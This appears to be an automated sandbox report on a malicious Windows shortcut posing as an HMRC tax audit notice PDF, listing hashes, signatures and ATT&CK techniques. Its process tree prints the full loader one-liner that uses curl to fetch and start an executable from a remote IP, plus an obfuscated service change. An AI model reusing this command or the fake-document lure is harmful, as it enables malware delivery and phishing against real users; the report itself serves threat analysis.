471ef5621c68e9b770719bc96430c821d9438c6d88f71f0ae9bd680264b63443

Analysis

max time kernel
298s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
29/07/2026, 03:47

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General

Target
Notice from Tax Departmen.pdf/HMRC - Tax Audit Notice.pdf.lnk
Size 2KB
Sample260729-ecep1av1ex
SHA256 471ef5621c68e9b770719bc96430c821d9438c6d88f71f0ae9bd680264b63443
MD5 2df9846d2a83e32f948b239770ab1416
SHA1 aef13c273ecc0334017ddee061085f47add014fd
SHA512 4c9c9c169c06f753682eddb50347f126bf9b059ba6e09a3746970a476010fe86af0956fb2b177bdaf872bdf3909470de1780173aa0f531263a24042806b9b3db
TLSH
T137416E2917EC5355E3B79E3698BAA3148A76B850ED33DB6D019056CC2860600FE32F2F
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1072	cscript.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5516	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5980	cmd.exe
5116	cmd.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5980 wrote to memory of 5116	5980	cmd.exe	90
PID 5116 wrote to memory of 2756	5116	cmd.exe	91
PID 5116 wrote to memory of 5516	5116	cmd.exe	92
PID 5116 wrote to memory of 1072	5116	cmd.exe	94

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Notice from Tax Departmen.pdf\HMRC - Tax Audit Notice.pdf.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl.exe -o "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" http://156.251.16.60/packed_Agent_001.exe && start "" "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" && C:\Windows\system32\winrm.cmd & s^ta^rt sc config webclient start= demand & C:\Windows\system32\winrm.cmd
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\curl.exe
    curl.exe -o "C:\Users\ADMINI~1\AppData\Local\Temp\winrm.com" http://156.251.16.60/packed_Agent_001.exe
    3⤵
    PID:2756
- - C:\Windows\system32\sc.exe
    sc config webclient start= demand
    3⤵
    - Launches sc.exe
    PID:5516
- - C:\Windows\system32\cscript.exe
    cscript //nologo "C:\Windows\System32\winrm.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:1072

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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